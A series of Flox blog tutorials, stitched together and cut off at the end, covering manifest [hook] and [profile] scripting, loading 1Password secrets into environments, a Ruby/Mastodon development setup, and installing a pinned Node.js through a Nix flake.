reproducible Ruby development environment, with a specific Ruby version and isolated gem dependencies via `rbenv` and Bundler. You’d first define the required versions for all three packages in your software manifest’s `[install]` section, along with your gem dependencies. Then, enclosed inside the triple quotes (`'''`) in `[hook]`’s `on-activate` field, you’d create bash logic to initialize rbenv and create a directory for your gems. Your logic might look like this: ```toml [hook] [hook] on-activate = ''' PROJECT_DIR="$(pwd)" # initialize rbenv eval "$(rbenv init -)" # create a directory for gemsets mkdir -p "$PROJECT_DIR/vendor/bundle" ''' ``` Every time your environment activates, Flox automatically runs your bash script, bootstrapping your Python or Ruby venvs and performing any other scripted operations. You can also use `[hook]` to start services, if you like, but Flox gives you an even easier way to do this with its [built-in service management capabilities](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox). For instance, say you need to install Redis as a cache to support your build environment. You’d first define the specific version of Redis you want to use in your software manifest’s [install] section, then you’d create logic in [hook] to bootstrap your build environment. To start your local Redis instance, you could author bash logic like this: it might look like this: ```toml [hook] on-activate = ''' PROJECT_DIR="$(pwd)" # start Redis redis-server --daemonize yes --dir "$PROJECT_DIR/redis_data" # verify redis is running if redis-cli ping | grep -q "PONG"; then echo "Redis is running." else echo "Failed to start Redis." exit 1 fi ''' ``` But an even better option is to **define Redis as a service** in your `manifest.toml`, so Flox handles starting, monitoring, and stopping your Redis instance for you. ``` [services.redis] command = ‘redis-server --daemonize yes --dir "$PROJECT_DIR/redis_data"’ ``` ## The limitations of hooks You can perform setup operations with bash in `[hook]`, but you can’t script teardown tasks. Everything in [hook] runs when your Flox environment first activates, so you can’t use it to create automations that listen for events, because [hook] executes once and is done. In other words, if you need to start and stop services, outsource this to Flox’s built-in service management capabilities. And if you need to script clean-up or teardown operations, do it in [profile]. Interactive features in `[hook]` can be useful when you need user input to configure an environment—like inputting an access token, making a decision about persisting that token, or populating required values or fields in a settings file. But these prompts can cause issues in automated workflows, like CI/CD pipelines. So if you need interactive features in `[hook]`, build in conditional checks to verify the existence of a tty. ## Use Profiles to scaffold, automate, and decorate your Flox environments The `[profile]` section of your Flox `manifest.toml` can contain aliases, functions, automations, or even complex scripts—but you also need to be intentional about what you do here and why you’re doing it. Unlike `[hook]`, it’s your responsibility to make sure the logic you put into `[profile]` behaves consistently. That’s because when you run `flox activate`, whatever you put in `[profile]` is executed when Flox creates a subshell within the new environment. That subshell is created using `$SHELL`, so anything you put in `[profile]` runs within the **user-provided shell**. This can be extremely convenient; however, you need to be careful to tailor your logic to support all of the shells where you expect your environment to be used. Profiles give you a useful way to terraform and decorate your Flox environments. For instance, you can create different kinds of event-driven automations—such as logic to tear down environments—or define aliases and functions you want to make available to others. Just be mindful of the catch: unlike in `[hook]`, logic in `[profile]` executes using _the local system’s version_ of each specified shell, not Flox’s bash interpreter. ### Authoring shell-specific Profiles `[profile]` has sections for each of the shell environments Flox supports. It also features a `common` section, where you put logic you want to run across all shells. An example might look like this: ```toml [profile] common = ''' echo "Any logic you put here will run using the system’s default shell" ''' bash = ''' bash_specific_function() { echo "This logic runs using the version of bash on the local system" } alias doit='bash_specific_function' ''' zsh = ''' zsh_specific_function() { echo "This logic runs using the version of zsh on the local system" } alias doit='zsh_specific_function' ''' fish = ''' function fish_specific_function echo "This logic runs using the version of fish on the local system" end alias doit=fish_specific_function ''' tcsh = ''' alias tcsh_specific_function 'echo "This logic runs using the version of tcsh on the local system"' alias doit 'tcsh_specific_function' ''' ``` The code block above consists of shell-specific aliases that run functions for bash, zsh, fish, and tcsh. The logic for bash and zsh is identical, but that for fish and tcsh is different—not just from bash/zsh, but from one another, too. Supporting all four shells entails creating shell-specific logic for each of them. ### Considering Shell Versions That’s one complication. But you also have to control for variation _within the same type of shell_ across separate platform environments. To take a well-known example, macOS ships with a version of bash (3.2.57) that’s almost 20 years old. If you want the bash logic you put in `[profile]` to behave the same way across all target platforms, anything you put in `profiles.bash` needs to be able to run on bash v3.2.57. As a general rule, default versions of shells vary across platforms. For instance: Ubuntu 22.04’s default repo has v3.3.1 of fish, while Debian Bookworm’s default repo has v3.6.1, and Fedora 40’s has 3.7.0. In other words, even if you’re just using a single shell—say, fish—you always have to write to the lowest common denominator version of that shell. In the example above, that’s fish v3.3.1. ### Considering underlying environments A final complication is that the shell in which your logic executes inherits the local consumer’s default environment and settings, unless you explicitly override these. So not only do you have to control for variety from OS to OS and from shell version to shell version, but from _user to user_, too. What if a function you define in `[profile]` has the same name as one defined in a consumer’s dotfiles? Or an alias in the consumer’s own environment conflicts with an alias in `[profile]`? What if, for example, you use `python -c` to pass logic to the Python interpreter in your environment, but there’s a preexisting alias for `python` in the consumer’s dotfiles? In this case, your code may run _using the local system’s Python interpreter_, not your own—unless you override this by defining a `python` alias for your environment. If you need to ensure that you’re using, for example, the version of Python you specified in the `[install]` block, you can refer to it in functions and aliases as `$FLOX_ENV/bin/python3`. ## Wrapping up Ultimately, you need to tailor `[hook]` and `[profile]` to suit _your_ situation and requirements. If you’re working in a tightly controlled environment, with a common target platform, standard shell, and a specific use case—e.g., using ARM-based Macs and zsh to enable local development—you can implement rich shell-specific logic in `[profile]` without having the same concerns about reproducibility. However, if you need to support a diversity of target platforms, shells, and use cases, it makes sense to keep your environments simple, implementing custom logic—when necessary—using bash in `[hook]`. Even with these constraints, it’s easy to create and customize rich, powerful Flox environments! Check out the prototype environments we built for [1Password](https://flox.dev/blog/adding-1password-secrets-to-flox-environments), [Anthropic’s Claude](https://flox.dev/blog/pair-with-claude-in-your-shell-using-anthropic-flox), [Stable Diffusion](https://flox.dev/blog/ml-modeling-with-flaim-and-hugging-face-diffusers), [Ollama](https://flox.dev/blog/llms-in-your-project-with-ollama-flox), [OpenAI](https://flox.dev/blog/supercharge-your-shell-with-openai-flox), [Jupyter Notebook](https://flox.dev/blog/using-jupyter-notebooks-with-flox), and [Podman](https://flox.dev/blog/run-containers-easily-with-podman-flox) for examples. Each of these runs in multiple shells across MacOS, Linux, and even the Windows Subsystem for Linux, or WSL. Even better, [download Flox](https://flox.dev/docs/install-flox/) and start building yourself. Flox has just a few commands, so it’s easy to learn and get started—[typically in five minutes or fewer](https://flox.dev/docs/)! Discover how Flox makes reproducible development simple and reliable! Title: Adding 1Password Secrets to Flox Environments Source: https://flox.dev/popular-packages/adding-1password-secrets-to-flox-environments/ Date: 2024-08-06 Category: tutorial # Adding 1Password Secrets to Flox Environments Having access to 1Password secrets in your Flox environments puts the world at your fingertips, but making it work everywhere you go takes a few simple tricks. You can build Flox environments that contain any combination of packages you can think of, and expand them beyond imagination using a properly-crafted `bash` activation hook. That is powerful stuff. But most of our environments need to connect to something. Very rarely do our environments work in isolation; we almost always need to access some kind of service or bit of infra. Adding secrets into a Flox environment is something that we’re all likely to have to do from time to time - they help us connect it to the world around us. Fortunately, it’s easy to add secrets to an environment using activation and profile hooks. In this post, I’ll show you how I load an [OpenAI API key](https://openai.com/api/) from [1Password](https://1password.com) into my [`default`](https://flox.dev/blog/extreme-home-makeover-with-flox) Flox environment. I’ve chosen to [read](https://developer.1password.com/docs/cli/secrets-scripts#option-2-use-op-read-to-read-secrets) this secret into my environment as a variable. This may not always be the right choice; for particularly sensitive information, you might want to use 1Password’s [injection capabilities](https://developer.1password.com/docs/cli/reference/commands/inject/), or its [runner](https://developer.1password.com/docs/cli/reference/commands/run). These mechanisms can help ensure that secrets can’t be extracted from running environments. ## The Simple Method Depending on whether you have the 1Password GUI installed on the system where you’re doing your work, integration with Flox can be pretty easy. I did, and so my first attempt at this task was rather straightforward! Almost too easy. In the biz we call this foreshadowing. The 1Password GUI version 8 or later contains a [CLI integration](https://developer.1password.com/docs/cli/app-integration/) that can be enabled in the Settings -> Developer screen. Once enabled, all of the session management for the 1Password CLI is taken care of automatically. That sounds good to me! I did so first: Then, I installed `_1password` into my default environment. There is an underscore at the beginning because package names can’t start with numbers, but don’t be fooled: this **is** the 1Password you are looking for. ``` ~ % flox install _1password ⚠️ The package '_1password' has an unfree license, please verify the licensing terms of use ✅ '_1password' installed to environment 'default' ``` Finally, I ran `flox edit` and added a line into my activation hook that sets `OPENAI_API_KEY` to the output of an `op item get` command. The contents of the `[hook.on-activate]` section is executed in an isolated `bash` shell, but any variables exported will be gathered by Flox and re-set in the activated environment. ``` [hook] on-activate = ''' export OPENAI_API_KEY=$(op item get "OpenAI" --field "credential") ''' ``` With this hook is in place, I am prompted to authenticate to 1Password whenever I activate my default environment unless an active session already exists. On macOS, this is done with a biometric scan using TouchID. It displays in a window on top of my terminal, and goes away once I scan my fingerprint. I activated my environment and was able to quickly verify that it had set the environment variables that I needed by using an OpenAI tool. This command will respond with an error if it can’t connect to ChatGPT: ``` ~ % mods "write a two-stanza love poem to 1Password" Among myriad keys in the universe vast, To unlock my secrets, I choose you to cast. 1Password, you hold my heart in your vault, In your cyber embrace, my fears halt. No confusion, no loss, not a hint of despair, With you, 1Password, security’s not a rare. My confidante in pixels, holder of my trust, In the digital world, your protection’s a must. ``` This worked pretty well. When I spawned new terminal sessions, they each had the credentials I needed. After a while, my 1Password session expired and I needed to authenticate again, but it was a convenient experience. I was happy, but I hadn’t yet brought all of this to my Linux servers. Dun dun **DUN**. ## The More Complete Method The AgileBits team did a wonderful job with their CLI/GUI integration, and it’s _the way to go_ if you’re designing an environment for situations where you: - have the 1Password GUI available, - have a recent enough version, and - have turned the CLI integration on. However, this might not always be possible in all of the places you need to be. It certainly isn’t for me. I work in a lot of nooks and crannies where I have no GUI at all: servers, cloud instances, and embedded devices. For those spots, the 1Password GUI / CLI integration is not an option. Fortunately, I had some valuable prototyping help from Flox’s Steve Swoyer. He showed me how to manually call `op signin` and capture the resulting token. That token can be used to authenticate subsequent calls to `op`. It can even be cached across environment activations, if this is something you’re comfortable with. In my Linux environment, I stole a bit of Steve’s code and used it to expand my activation hook. I wanted to check for a valid 1Password session, and create one if needed: ``` on-activate = ''' # Start OP secrets code CACHE="$HOME/.cache/op-session" OP_TOKEN=$( [[ -f "$CACHE" ]] && cat "$CACHE" ) if ! op --session "${OP_TOKEN}" whoami >/dev/null 2>&1; then OP_TOKEN=$( op signin --raw 2>&1 ) if op --session "${OP_TOKEN}" whoami >/dev/null 2>&1; then mkdir -p $(dirname "$CACHE") 2>/dev/null echo "${OP_TOKEN}" > "$CACHE" chmod 600 "$CACHE" else echo "1Password auth failed!" && return 1 fi fi export op_token=$( [[ "$OP_TOKEN" ]] && echo "--session $OP_TOKEN" ) # End OP secrets code export OPENAI_API_KEY=$(op $op_token item get "OpenAI" --field "credential") ''' ``` This block of code will first call `op whoami`, which is a good way to tell if there is a valid session. Upon not finding one, it will attempt to generate a token using `op signin --raw`, which will cause 1Password to go through its authentication flow. The first time I ran this it went through a complete setup, prompting me for my sign-in address, email address, and secret key. Every subsequent time, though, it only asks me for my passphrase. After the sign-in is complete, the script will immediately verify that the session is valid. Then, it will write it into `~/.cache/op-session` so that I don’t have to do this every time I `ssh` back into this server. I chose to put this inside my home directory so it can be used in other environments; if I wanted to limit it to **this** environment, I’d have chosen `$FLOX_ENV_CACHE/op-session` instead. ## Making it work everywhere It's important to me that this environment still works when I use it on a system where I have the GUI installed. I want **one environment** that **works everywhere**. Fortunately, the `op whoami` command causes systems with the GUI integration enabled to validate the current session and reauthenticate if necessary. This would otherwise happen in the `op item get` command at the bottom of the hook. On those systems, it means that most of the block is skipped. However, for systems where we **do** have a token, it’s important that we pass it to subsequent `op item` commands; the hook does this by setting an `op_token` variable that is passed into the command-line for `op`. This variable contains the _entire command line option_ (including the "--session" string) required to provide the token to `op`, and the variable will be empty on systems that do not require one. This method works everywhere I do. When you implement this in your environment, you may want to take this a step further by putting `op signin` in a loop so you’ve got more than one chance to enter your passphrase. You may also want to create an alias in your `profile` section to pass the token to your `op` calls: ``` [profile] bash = ''' alias op="op $op_token" ''' ``` Since `$op_token` will be blank if the token doesn't exist, this will allow you to run `op` commands with or without a token. ## Secrets are the key With this simple activation hook, I am able to add secrets from 1Password into my Flox environment - whether I am on a system with the 1Password GUI installed or not. The 1Password CLI is now part of my default environment, and my secrets follow me wherever I go. Flox is free to use, and we designed it to work **the way you do**. Hit our [download page](https://flox.dev/download) to get the latest. Title: Making Ruby Projects Easier to Share Source: https://flox.dev/blog/making-ruby-projects-easier-to-share/ Date: 2024-07-30 Category: guide # Making Ruby Projects Easier to Share Using Flox simplifies Ruby development by making it much easier to manage system-level dependencies, providing a consistent and reproducible Ruby dev environment across all platforms and architectures. If you’ve contributed to Ruby projects, you’re probably familiar with some of the difficulties of the Ruby ecosystem. Most of those difficulties have point solutions or a set of incantations you can execute to get around them. However, with Flox as your development environment manager, you can solve these difficulties just once, enabling all other project contributors to benefit from your solution. ## Intro and Background I’ve written a lot of [Ruby](https://www.ruby-lang.org/en/) over the years and I enjoy it even today. But the bane of my existence is implicit dependencies from [RubyGems](https://rubygems.org/). Today I’m going to walk through some examples and show you how—with the power of Flox—you can ensure your dependencies are available in your Ruby environment. Most commonly, a Ruby project needs Ruby. That’s easy. There have been tools in this space for years (`system ruby`, [`rvm`](https://rvm.io/), [`rbenv`](https://rbenv.org/), etc). With a [Rails](https://rubyonrails.org/) application, you’re going to also need [Node.js](https://nodejs.org/en)— even if it’s just for asset compilation. For other projects, you get to the point where you need to run something on [`event_machine`](https://rubygems.org/gems/eventmachine), or use [`hiredis`](https://rubygems.org/gems/hiredis). But, what really gets to most Rubyists is the installation of the [`nokogiri`](https://rubygems.org/gems/nokogiri) library. That’s where you encounter difficulties again and again. (Somehow all Ruby projects evolve to the point of needing `nokogiri`.) This irrationally angered me time and time again. A [Gemfile](https://bundler.io/guides/gemfile.html) can’t express the native system libraries that `nokogiri` needs to work. (In this case it’s [`libxslt`](http://xmlsoft.org/libxslt/index.html) and [`libxml2`](https://gitlab.gnome.org/GNOME/libxml2), but you also need [`make`](https://www.gnu.org/software/make/) and a compiler). However, if you need to use some other gem that requires native extensions, the exercise to figure out what libraries are needed is left to the end-user. The issues with `nokogiri` are mostly solved, thanks to the availability of pre-compiled gems. However, the frustration Rubyists used to experience with `nokogiri` was actually a symptom of a bigger problem in the Ruby ecosystem. For example, libraries like the `pg gem` or `mysql2 gem` still cause dependency conflicts because they _aren't_ pre-compiled to include system-level library dependencies. And for extra fun, the names of the packages you need to install so you can compile native, system-level extensions for these and other gems tend to vary widely across disparate Linux distributions and MacOS operating systems. Depending on the platform, you might need a `-dev` or a `-devel` package to get shared objects and header files. Nothing in the project or Gemfile informs you of this, so you go through attempted installations, have errors, use Google and iterate. The only saving grace is if the author happens to have a decent README. ## Enter Flox You can use Flox to easily add system-level library dependencies for your projects, and, if you need to, you can even pin projects to specific versions of Ruby. This kind of challenge isn’t unique to Ruby, by the way: for instance, in the Node.js ecosystem, you can’t use [`package.json`](https://docs.npmjs.com/cli/v10/configuring-npm/package-json) files to express native system libraries. On the other hand, the Node community has produced its own solutions (like [`nvm`](https://github.com/nvm-sh/nvm) and [`asdf`](https://asdf-vm.com/guide/getting-started.html)) to manage these dependencies. Flox gives you the same Ruby versioning capabilities as `rbenv` or `rvm`, and also makes it easy to define system-level dependencies for different platforms. Even better, it gives you a way to build everything you need—libraries, dependencies, and other tools—into isolated environments that are portable and reproducible. To aid in that easy consumption, a single producer needs to spend a bit of effort to create the proper developer environment—one that is portable, cross-platform, reproducible, and contains everything a developer needs to work on that project. The effort required could vary quite a bit based on the complexity of your project, but it only has to be paid by the environment creator, not end-users or developers. Any other contributor on that project will be able to use the Flox environment and have it Just Work™. ## First Example To illustrate this problem set, I’ll start with a small client I’ve authored in Ruby to post to [Mastodon](https://mastodon.social/explore). The client uses `event_machine` (admittedly in a contrived way) so we can show the power of expressing dependencies for a native gem extension. It will post a toot and provide the URI where the toot is available via callback. Fear not, I'll also show you a larger, **More Complex Example** below. You can skip ahead to that if you like. First, let's outline the general steps you need to take to set up and use a Flox environment for your Ruby project: - [Get Flox](https://flox.dev/docs/install-flox/); - Create a project directory and type `flox init`; - Install your packages; - Run `flox activate` to enter into your environment. My `stahnma/toot-client` example includes a pre-built Flox environment. To use it you just need to do the following: - Get an access key for the mastodon server you wish to use; - Set the `EM_ACCESS_KEY` environment variable; - Clone the project; - Run `flox activate` to enter into your environment; - `bundle`; - type `toot “your message to the masses”`. Let’s dig into my `stahnma/toot-client` environment a bit more to explore how this works and what's happening inside the Flox environment. First, how do you obtain a Mastodon access key? If you have a Mastodon account in the Fediverse, you can get a key by going to `Preferences -> Development -> New application`. The scope can be read/write. Clone the project. Use the GitHub repo below: ``` $ git clone https://github.com/stahnma/toot-client . ``` Activate your Flox environment: ``` $ flox activate ``` From here, Flox allows for the workflow you’d normally use when authoring a Ruby project. What’s new in this case is that the versions of Ruby, OpenSSL, Clang, and Make are all supplied via Flox. No longer do you need to directly worry about the idioms of difference between `gnumake` and BSD `make`, or if the version of OpenSSL you compile against on Mac is the same that a person on Linux will use. After you `flox activate`, you can use normal Ruby ecosystem tools, such as `bundler` to install required dependencies. You may think this sounds pretty much like how you always work, and it is! The only difference is you’ve now made sure you have the right versions of all the libraries and tools you need, and that they are attached to your project. ``` $ bundle $ toot "An example toot that uses Flox" Toot posted! URI: https://mastodon.social/users/floxdemo/statuses/112855589814094906 ``` Okay. We have posted. Thus far, we’ve pulled a project via `git` and run `flox activate`. From there, we simply started doing our normal Ruby development tasks. This example is a bit contrived, but it illustrates that a Flox environment encompasses not just the Ruby ecosystem, but also other tools. Let’s peek at what is actually in that environment. ``` $ flox list clang: clang (wrapper-16.0.6) gnumake: gnumake (4.4.1) openssl: openssl (3.0.14) ruby: ruby (3.1.5) ``` There’s not a bunch. Each of these packages comes from the Flox catalog, which is based on [`nixpkgs`](https://github.com/NixOS/nixpkgs). If you’ve never heard of Nix or `nixpkgs`, that’s OK. The main takeaway is that it’s a cross-platform package system that contains _more than one million_ software package and version combinations—and that it’s the upstream of the Flox catalog. The Ruby package here contains `ruby`, but also the headers and `bundler`, along with all the other things that come from Ruby upstream. This hasn’t broken out the Ruby ecosystem into a handful or more of packages like Red Hat or Debian would do. The `openssl` package contains all the headers and development files as well. ## A More Complex Example Alright, the last example was relatively straightforward and simple, which is helpful, but it also doesn’t completely demonstrate the total power of what we could do with Flox in a Ruby ecosystem. I’ve taken a larger, more popular, more complex project, the Mastodon server, and decided to make a Flox environment for it. Mastodon consists of a Rails application and some Node.js components as well. It requires a [PostgreSQL](https://www.postgresql.org/) database and it needs a [Redis](https://redis.io/) instance for queues. There are four kinds of significant components that are needed. Also their development scripts use [Overmind](https://github.com/DarthSim/overmind), so we’ll include that. Immediately, you’ll see that this environment has a lot more going on than the one for the toot-client. In this environment, I’m going to include `postgresql`, because now I can include a known-good version and setup method. I’m going to include `redis` as well. I’ve included some other required libraries because the 34 (!!) native gem extensions needed by this Rails app compile against those. ``` $ flox list clang: clang (wrapper-16.0.6) foreman: foreman (0.87.2) gnumake: gnumake (4.4.1) icu: icu (icu4c-74.2) imagemagick: imagemagick (7.1.1-35) libidn: libidn (1.42) libxml2: libxml2 (2.12.7) libxslt: libxslt (1.1.41) libyaml: libyaml (0.2.5) openssl: openssl (3.0.14) overmind: overmind (2.5.1) pkg-config: pkg-config (wrapper-0.29.2) postgresql: postgresql (15.7) redis: redis (7.2.5) ruby: ruby (3.1.5) yarn-berry: yarn-berry (4.3.1) ``` I took a bit of time to make an environment that would allow Mastodon development. To be perfectly honest, this isn’t very straightforward and sometimes requires some iteration. The folks working on this project have clearly done a lot of work to make it so that it works in a Mac environment or with Docker containers, but they still make a lot of inherent assumptions that people end up having to work around as they get set up for development. What I’ve tried to do is make a single Flox environment so that once you pull Mastodon, you activate it and you have everything you need to get started developing. I took advantage of some features of Flox environments that I haven’t yet covered—for instance, you can add your own hooks, environment variables/settings, scripts and aliases. You can also add instructions to the consumer explaining what is happening with all those things via different sections of the `manifest.toml`. To see this in action go ahead and grab my fork of Mastodon. ``` $ git clone https://github.com/stahnma/mastodon ``` As of this writing there is exactly one commit difference between upstream and my fork, and that is the addition of the Flox environment. I’ve set up some helpful things to see once you activate the environment. The activation could take a bit of time to download the packages needed for the environment, but fear not, they’re isolated from your system packages and even other Flox environments. They’re only available to the environment if it’s been activated. ``` $ flox activate ✅ You are now using the environment 'mastodon'. To stop using this environment, type 'exit' Initializing postgresql database... The files belonging to this database system will be owned by user "stahnma". This user must also own the server process. The database cluster will be initialized with locale "en_US.UTF-8". The default database encoding has accordingly been set to "UTF8". The default text search configuration will be set to "english". Data page checksums are disabled. creating directory /Users/stahnma/development/mastodon/data/postgres_data ... ok creating subdirectories ... ok selecting dynamic shared memory implementation ... posix selecting default max_connections ... 100 selecting default shared_buffers ... 128MB selecting default time zone ... America/Chicago creating configuration files ... ok running bootstrap script ... ok performing post-bootstrap initialization ... ok syncing data to disk ... ok To manage the postgresql server, run: pg_ctl -D /Users/stahnma/development/mastodon/data/postgres_data -l /Users/stahnma/development/mastodon/data/log/postgres.log To manage redis: start: redis-server --dir /Users/stahnma/development/mastodon/data/redis --logfile /Users/stahnma/development/mastodon/data/redis/log --pidfile /Users/stahnma/development/mastodon/data/redis/redis.pid --daemonize yes stop: redis-cli shutdown You can now run 'mastodon-setup' to start the services and setup the database. This will start the postgresql server, redis server, install the gems and yarn packages, setup the database and start the mastodon server. If you've set up mastodon before, you can run 'bin/dev' to start working. To reduce on-screen output upon activation, set the FLOX_QUIET environment variable to any value. ``` Wow, that’s a lot to look at. I added quite a bit of detail so any consumer of this environment gets some helpful assistance right away. Ultimately, to begin working on changes to Mastodon, a user simply needs to run `mastodon-setup`. That is a shortcut that starts the PostgreSQL database, starts Redis, installs the RubyGems, installs the Node.js packages and performs database migrations. It will produce a LOT of output that is not included here. Then, you can run `bin/dev` and have a running instance of Mastodon to do development against. When you’re done developing on Mastodon, stop Redis and PostgreSQL, and type `exit`. ## Everything's In the Manifest One of the cool and powerful parts of this exercise was that I was able to put a Flox environment around Mastodon while modifying zero Mastodon files. The Flox environment in my project directory consists of a single folder, `.flox`, containing a few files and subfolders. ``` $ git diff --name-only origin/main .flox/.gitignore .flox/env.json .flox/env/manifest.lock .flox/env/manifest.toml ``` The listed files live inside the `.flox` subfolder in my project directory. The packages I `flox list`-ed earlier live in a folder called `/nix` in the root of my filesystem. Creating a Flox environment entails creating symlinks to those packages—not copying files. The Flox `manifest.toml` file defines all of the packages, libraries, and other dependencies I need to compile 34 native Ruby extensions, along with working PostgreSQL and Redis services. I can share my environment just by copying the `.flox` subfolder, or by `flox push`-ing it to FloxHub. When I share my environment with a colleague who’s new to Flox, it might take a bit of time to download the packages they need, but thereafter their environment will activate in milliseconds. My Mastodon environment is also reproducible, running and behaving the same way on any supported OS or hardware. If I were an upstream author of Mastodon, I'd probably tweak a few things to better support a cross-system setup. But since I'm not, it's fine. I can work with what I have and collaborate just fine with my team. Obviously, if this were a software offering we developed on our own, we'd have more flexibility to make it more inherently portable across platforms. ## Service Management One thing that might puzzle you is why I talked about “starting” and “stopping” PostgreSQL or Redis on the command line—or why my environment prints a message to the console when it's activated telling you how to do that. This current setup takes advantage of helpers and aliases within the Flox environment to give you an example of what’s available today. However, very soon Flox will offer service management capabilities that automatically handle starting and stopping PostgreSQL, Redis and other services. Ultimately, we’d like to move away from using helpers and shell aliases, to the point where setup and teardown tasks like these are no longer the user’s responsibility. So stay tuned and join our community [Slack](https://go.flox.dev/slack) to know first! ## Summary If you’ve made it this far, you’ve seen: - Shortcomings in the dynamic language ecosystems (Ruby and a bit of Node.js) - Flox environments tied into projects that contain all dependencies, including native, system-level requirements—not just the libraries of a specific language. - Use of `flox activate` to ensure a smooth experience for contributors. - A bit of where we’d like to head next with service management. [Download Flox today](https://flox.dev/docs/install-flox/) and give it a try. If you need some help or have feedback, hit us up on our community [Slack](https://go.flox.dev/slack). Title: Extending Flox with Nix Flakes Source: https://flox.dev/blog/extending-flox-with-nix-flakes/ Date: 2024-07-24 Category: guide # Extending Flox with Nix Flakes Using Flakes in Flox give you more flexibility, allowing you to access or create unique package versions and custom configurations not available in Flox Catalog. With the latest release of Flox, you can now define and install software packages as [Nix flakes](https://nix.dev/manual/nix/2.18/command-ref/new-cli/nix3-flake.html#url-like-syntax)! This lets you take advantage of the most powerful features in Nix, the proven open-source package manager, to build rich environments without resorting to complex workarounds. All you’ve got to do is include a reference to a `flake.nix` in your Flox environment’s `manifest.toml`. Flakes in Flox give you more flexibility, and a compelling new option, in situations where: - **You need something special.** The Flox Catalog has almost everything, with 3+ years of history and more than 1 million package/version combinations. But sometimes you need something it doesn’t have—whether it’s a legacy version of a package or a cutting-edge release that isn’t yet available. - **You need to _do_ something special.** You can use flakes to define package overrides, provide special build instructions, or create unique combinations of components. There’s no need to build advanced logic into the `[hook]` or `[profile]` sections of Flox manifests to customize the behavior of packages. Environments run more predictably and are easier to maintain. Anyway you look at it, this is a powerful new feature. ## Why Flakes in Flox? Up to now we've focused on abstracting much of the complexity—and almost all of the learning curve—involved in scaling Nix across an organization. Flox makes it simple to install packages, create reproducible environments, and compose layered, multi-application runtimes. It’s designed to be used by people who are not Nix experts. Support for flakes in Flox is different. We engineered this feature for those who already understand Nix. Flakes support is a nuts-and-bolts feature that probably _won't_ matter to most Flox users, but _will_ matter a great deal to Nix experts who rely on Flox to scale Nix across their teams. Nix experts can now ship rich, reproducible software environments to their users with Flox—without having to take on the additional burden of teaching Nix. ## Example 1: Using Flakes to Install a Missing Version Let’s briefly explore how this works. And why it’s so neat! Say you need a quite specific version of Node.js—20.13.1, which is missing from the Flox Catalog. Not that the catalog doesn’t have plenty of versions of Node.js: ``` daedalus@eidos:~/dev$ flox search nodejs nodejs Event-driven I/O framework for the V8 JavaScript engine nodejs_22 Event-driven I/O framework for the V8 JavaScript engine nodejs_21 Event-driven I/O framework for the V8 JavaScript engine nodejs_20 Event-driven I/O framework for the V8 JavaScript engine nodejs_18 Event-driven I/O framework for the V8 JavaScript engine nodejs_16 Event-driven I/O framework for the V8 JavaScript engine nodejs_14 Event-driven I/O framework for the V8 JavaScript engine nodejs-slim Event-driven I/O framework for the V8 JavaScript engine nodejs-19_x Event-driven I/O framework for the V8 JavaScript engine nodejs-18_x Event-driven I/O framework for the V8 JavaScript engine Showing 10 of 54 results. Use `flox search nodejs --all` to see the full list. ``` Or even plenty of versions of Node.js 20.x: ``` daedalus@eidos:~/dev$ flox show nodejs_20 nodejs_20 - Event-driven I/O framework for the V8 JavaScript engine nodejs_20@nodejs-20.14.0 nodejs_20@nodejs-20.12.2 nodejs_20@nodejs-20.11.1 nodejs_20@nodejs-20.10.0 nodejs_20@nodejs-20.9.0 nodejs_20@nodejs-20.8.0 nodejs_20@nodejs-20.6.1 nodejs_20@nodejs-20.5.1 nodejs_20@nodejs-20.5.0 nodejs_20@nodejs-20.3.1 nodejs_20@nodejs-20.2.0 ``` It just doesn’t have that _exact version_ of Node. What can you do? In the past, you probably would have...downloaded Node manually on every system where you needed it, then managed the inevitable drift over time. Now, you can write a Nix flake that installs the exact version you need, Node 20.13.1, and add it to your Flox environment alongside your other project requirements. Here's an example flake that does exactly that: ```nix { description = "Flake for Node.js v20.13.1"; inputs = { nixpkgs.url = "github:NixOS/nixpkgs"; }; outputs = { self, nixpkgs }: let supportedSystems = [ "x86_64-linux" "x86_64-darwin" "aarch64-linux" "aarch64-darwin" ]; forAllSystems = nixpkgs.lib.genAttrs supportedSystems; in { packages = forAllSystems (system: let pkgs = import nixpkgs { inherit system; }; nodejsFor = { x86_64-linux = { url = "https://nodejs.org/dist/v20.13.1/node-v20.13.1-linux-x64.tar.xz"; sha256 = "sha256-78Dyld2HjlEKsS6ja7rcPbA8aHqzDAfobHzbp+7Yeak="; }; x86_64-darwin = { url = "https://nodejs.org/dist/v20.13.1/node-v20.13.1-darwin-x64.tar.gz"; sha256 = "sha256-gL3pXcl2uE21ylZnOMBzBQh65Xj187BRkeDm/1Sq6vI="; }; aarch64-darwin = { url = "https://nodejs.org/dist/v20.13.1/node-v20.13.1-darwin-arm64.tar.gz"; sha256 = "sha256-ww/llfWdzSxRWNpr+LwlH/yFyjcwSvqJ2xUPs8YsRQc="; }; aarch64-linux = { url = "https://nodejs.org/dist/v20.13.1/node-v20.13.1-linux-arm64.tar.xz"; sha256 = "sha256-0lHNo+4KU52K6k6iMn6YmYyyNIdWkHOQLjXvsFJtV0s="; }; }; nodejs = pkgs.stdenv.mkDerivation { pname = "nodejs"; version = "20.13.1"; src = pkgs.fetchurl nodejsFor.${system}; dontStrip = true; installPhase = '' mkdir -p $out cp -r * $out/ ${if pkgs.stdenv.isLinux then '' patchelf \ --set-rpath "${pkgs.stdenv.cc.cc.lib}/lib" \ --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \ $out/bin/node '' else ""} ''; }; in { default = nodejs; } ); }; } ``` We have made this flake available to Flox by placing it into a repository on GitHub: [https://github.com/flox/flox-nodejs-flake-example](https://github.com/flox/flox-nodejs-flake-example) If you are not already working inside a Flox environment, you can create a new one by running `flox init` in your project folder. To add this new flake to your environment, run `flox edit` and add it to the `[install]` section of the manifest. Here’s what this looks like using our example flake: ``` # This is a Flox environment manifest. # Visit flox.dev/docs/concepts/manifest/ # or see flox-edit(1), manifest.toml(5) for more information. # version = 1 # List packages you wish to install in your environment inside # the `[install]` section. [install] nodejs.flake = "github:flox/flox-nodejs-flake-example" ``` In the example above, the `nodejs` bit can be anything of your choosing, but we recommend matching the `pname` of the flake. As a value, provide the flake location in the format `github:/`. That’s it. Once you save your changes, the Flox environment will automatically build the flake: ``` daedalus@eidos:~/dev/node20.13.1$ flox edit ⠼ Building environment to validate edit ``` When it is successful, you will get the familiar green checkmark emoji: ``` daedalus@eidos:~/dev/node20.13.1$ flox edit ✅ Environment successfully updated. ``` And you will be able to activate the environment and access the version of Node you needed: ``` daedalus@eidos:~/dev/node20.13.1$ flox activate ✅ You are now 